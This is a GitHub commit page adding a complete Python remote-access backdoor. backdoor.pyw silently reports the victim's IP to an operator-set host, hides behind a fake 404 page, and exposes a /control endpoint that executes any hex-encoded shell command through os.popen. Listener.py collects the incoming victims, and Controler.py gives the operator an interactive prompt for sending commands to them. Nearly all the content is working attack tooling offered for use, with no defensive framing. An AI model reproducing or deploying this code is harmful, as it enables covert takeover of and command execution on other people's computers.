Skip to content

Commit 9be68e2

Browse files
authored
Add files via upload
1 parent eee348f commit 9be68e2

File tree

4 files changed

+126
-0
lines changed

4 files changed

+126
-0
lines changed

Diff for: Controler.py

+50
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
import requests ,time ,socket ,binascii ,os
2+
port = 8080 #<Port To Connect On>
3+
connections = []
4+
5+
while 1:
6+
try:
7+
a = open("Connections.txt","r")
8+
c = a.readlines()
9+
for conn in c:
10+
connections.append(conn.replace("/n",""))
11+
a.close()
12+
break
13+
except :
14+
print " There is no connections yet !"
15+
print " Waiting for 5 seconds.."
16+
time.sleep(5)
17+
continue
18+
19+
while True:
20+
prompt = raw_input(" #Control#> ").lower()
21+
if prompt == "help":
22+
print "\n Available Commands"
23+
print " help - print this message"
24+
print " list - list the connections"
25+
print " connect - connect device by its id from list commnad"
26+
print " exit - Exit the script"
27+
print "\n"
28+
continue
29+
elif prompt == "list":
30+
print "\nConnections :"
31+
for i,conn in enumerate(connections):
32+
print " ["+str(i)+"] "+str(conn)
33+
print "\n"
34+
continue
35+
elif prompt == "exit":
36+
exit(0)
37+
elif prompt.split(" ")[0] == "connect":
38+
n = int(prompt.split(" ")[1])
39+
ip = connections[n].replace("\n","")
40+
print "\n"
41+
while 1:
42+
p = raw_input(" [%s]> "%ip)
43+
if p.lower() == "quit":
44+
break
45+
else:
46+
c = requests.post("http://{0}:{1}/control".format(ip,port),{"cmd":"{0}".format(str(binascii.hexlify(p)))})
47+
print " "+str(binascii.unhexlify(c.content))
48+
continue
49+
else:
50+
print " Command Not Found"

Diff for: Listener.py

+43
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,43 @@
1+
import cherrypy ,os ,binascii
2+
global added
3+
port = 8080 #<Port To Listen On>
4+
class Main(object):
5+
global added
6+
added=[]
7+
@cherrypy.expose
8+
def index(self):
9+
try:
10+
a="<h1> Connections :\n</h1><h2>"
11+
f=open("Connections.txt","r")
12+
ips = f.readlines()
13+
for i in ips:
14+
a += "["+str(ips.index(i))+"] "+str(i) +"<br />"
15+
f.close()
16+
a +="</h2>"
17+
return a
18+
except :
19+
return "<h1> No Connections Yet ! !</h1>"
20+
21+
@cherrypy.expose
22+
def NewConnection(self, ip):
23+
ip = binascii.unhexlify(ip)
24+
try:
25+
if ip not in added:
26+
a = open("Connections.txt","a")
27+
added.append(ip)
28+
a.write(str(ip)+"\n")
29+
a.close()
30+
return "Ok"
31+
except:
32+
if ip not in added:
33+
a = open("Connections.txt","w")
34+
added.append(ip)
35+
a.write(str(ip)+"\n")
36+
a.close()
37+
return "Ok"
38+
39+
40+
if __name__ == '__main__':
41+
cherrypy.server.socket_host = "0.0.0.0"
42+
cherrypy.server.socket_port = port
43+
cherrypy.quickstart(Main())

Diff for: ScreenShot.png

283 KB
Loading

Diff for: backdoor.pyw

+33
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
import cherrypy ,os ,requests ,time ,socket ,binascii
2+
3+
Host="" #<Your Ip>
4+
port = 8080 #<Port To Listen On>
5+
def First():
6+
try:
7+
#Choose Local ip or Public ip depends on where's the target
8+
#Public IP for wan
9+
#ip = requests.get("http://api.ipify.org/?format=text").content
10+
#Local Ip for lan
11+
s = socket.socket()
12+
s.connect(("gmail.com",80))
13+
ip = str(s.getsockname()[0])
14+
s.close()
15+
a= requests.post("http://{0}:{1}/NewConnection".format(Host,port),{"ip":"{0}".format(binascii.hexlify(ip))})
16+
except:
17+
time.sleep(1)
18+
First()
19+
First()
20+
class Main(object):
21+
@cherrypy.expose
22+
def index(self):
23+
return "<h1>Error :404 Not Found</h1>" #:D
24+
25+
@cherrypy.expose
26+
def control(self, cmd):
27+
cmd = binascii.unhexlify(cmd)
28+
return binascii.hexlify(os.popen(cmd).read())
29+
30+
if __name__ == '__main__':
31+
cherrypy.server.socket_host = "0.0.0.0"
32+
cherrypy.server.socket_port = port
33+
cherrypy.quickstart(Main())

0 commit comments

Comments
 (0)